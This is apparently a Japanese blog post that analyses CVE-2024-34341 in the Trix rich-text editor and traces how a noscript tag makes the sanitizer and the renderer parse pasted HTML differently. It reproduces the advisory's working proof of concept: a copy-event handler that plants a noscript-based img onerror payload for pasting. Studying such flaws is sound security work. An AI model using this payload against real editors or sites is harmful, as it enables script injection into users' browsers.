💡

「CVE-2024-34341 XSS Vulnerabilities in Trix Editor」のnoscriptでXSSになる機序

2024/05/20に公開

を調べたので簡単にまとめます。

関連リンク

そもそも Trix Editor とは

37signalsがOSSで開発していて、Webページ上で動くリッチテキストエディターのWebコンポーネント。Railsに同梱されていてRailsガイドの「Action Text の概要」に書いてあるのがまんまそれ。

以下のHTMLでTrix Editor単体で動かせる。

<head>
  <link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.8/dist/trix.css">
  <script type="text/javascript" src="https://unpkg.com/trix@2.0.8/dist/trix.umd.min.js"></script>
</head>
<body>
  <trix-editor></trix-editor>
</body>

コンポーネントがレンダリングされた結果が以下。



なかなかリッチ。便利コンポーネントだ。今度使おう。

CVE-2024-34341 XSS Vulnerabilities in Trix Editor

これに対応したRailsのリリースがそれぞれ 7.0.8.2, 7.1.3.3、Rails側は最新版の Trix を取り込んだだけのよう

Trix リポジトリでアナウンスされた脆弱性情報がこちら。
https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99

2通りの脆弱性について修正しているのが読み取れる。

noscriptタグの方

細工されたcopy内容をTrix EditorのコンポーネントにpasteすることによってXSSが発生する。レポートにあったサンプルコードをそのまま持ってきたのが以下。

document.addEventListener('copy', function(e){
  e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
  e.preventDefault();
});

MIMEタイプが text/html だと Trix Editor が HTML として解釈して処理するのがミソなんだろう。これを試しみる。

<head>
  <link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.1.0/dist/trix.css">
  <script type="text/javascript" src="https://unpkg.com/trix@2.1.0/dist/trix.umd.min.js"></script>
  <script>
    document.addEventListener('copy', function(e){
        e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
        e.preventDefault();
    });
  </script>
</head>
<body>
  <div>copy_me!</div>
  <trix-editor></trix-editor>
</body>

たしかに img タグの onerror が発動してしまう。



問題となるHTMLが以下で、なるほど noscript タグが悪さをするのだろう。

<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>

Trix側の対応としては DEFAULT_FORBIDDEN_ELEMENTS に noscript を追加している。
https://github.com/basecamp/trix/pull/1147/files

しかし、なぜ上記のHTMLでimg要素が評価されるのかがここまでだとまたちょっと分からなかった。

いろいろ試す

まず Trix Editor にレンダリングされた内容を DevTools あたりで確認すると、

以下のように解釈されてほしいHTMLが、

<div>
    <noscript>
        <div class="123</noscript>456<img src=1 onerror=alert(1)//"></div> 
    </noscript>
</div>

こういう構造でレンダリングされていると読み取れる。

<div>
    &lt;div class="123456
    <img src=1 onerror=alert(1)//">
</div>

noscriptタグが存在しない扱いっぽいような感じ class属性中に出てきたnoscript閉じタグでnoscriptタグが閉じて、かつnoscriptタグがただのtextノードに変わった構造に変化している。

普通の img タグを paste するとどうなるか。 paste する内容を以下にする。

e.clipboardData.setData('text/html', '<img src=1 onerror=alert(1)//">');

これであれば alert(1) は実行されない。Trix Editorの修正ファイルが src/trix/models/html_sanitizer.js ということもあり、サニタイズが効くのだろう。

DEFAULT_FORBIDDEN_ELEMENTS がどう作用しているのかもみてみた。以下箇所に DevTools で breakpoint を置いてみたところ、
https://github.com/basecamp/trix/blob/v2.1.0/src/trix/models/html_sanitizer.js#L99



解釈されてほしい構造で処理されているように見える(レンダリングされる構造と異なっている)。ので img タグが img タグとしてサニタイズ処理されないことが確認できた。

次に入力されたHTML文字列をどうパースしているのかを追いかける。 ここでツリーが作成されている。
https://github.com/basecamp/trix/blob/v2.1.0/src/trix/models/html_sanitizer.js#L21

https://github.com/basecamp/trix/blob/v2.1.0/src/trix/models/html_sanitizer.js#L110-L117

.innerHTML に突っ込むことでパースしている。賢い。

ここで試しに以下コードを DevTools のコンソールで確認してみた。

div = document.createElement('div');
div.innerHTML = '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>';

実行した瞬間に alert(1) が発動するし、 noscript タグがガッツリ解釈されている。

これは Trix Editor でレンダリングされる構造と近しき構造になっていると分かった。

Trix Editor の実装の方を見返してみると、

  const doc = document.implementation.createHTMLDocument("")
  doc.documentElement.innerHTML = html

となっている。これも DevTools で試す。

doc = document.implementation.createHTMLDocument("");
doc.documentElement.innerHTML = '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>';

サニタイズの処理順と同じ構造が出てきた。

解釈したこと

こういう機序と解釈した。

  • 細工されたnoscriptタグがあることで、サニタイズする時のHTML構造とレンダリングする時のHTML構造に差異が生じる
  • その差異によってサニタイズ漏れが発生し XSS が可能となった

分かっていないこと

  • noscript 閉じタグの扱い、この攻撃例でいう class 属性値の中に出現した場合に異なるパース結果が発生しているがどれが正しい振る舞いなのか
  • document.implementation.createHTMLDocument("").documentElement.innerHTML でパースするのと document.createElement("div").innerHTML でパースするので結果に差異が発生する理由

まじで分からん。これ知っている方いたら教えてください。

一言感想

XSS の攻撃パターンの一つとして noscript があることが分かった。HTMLの解釈やパース結果に差異を生じさせるパターンを色々調べてみたいな。

Discussion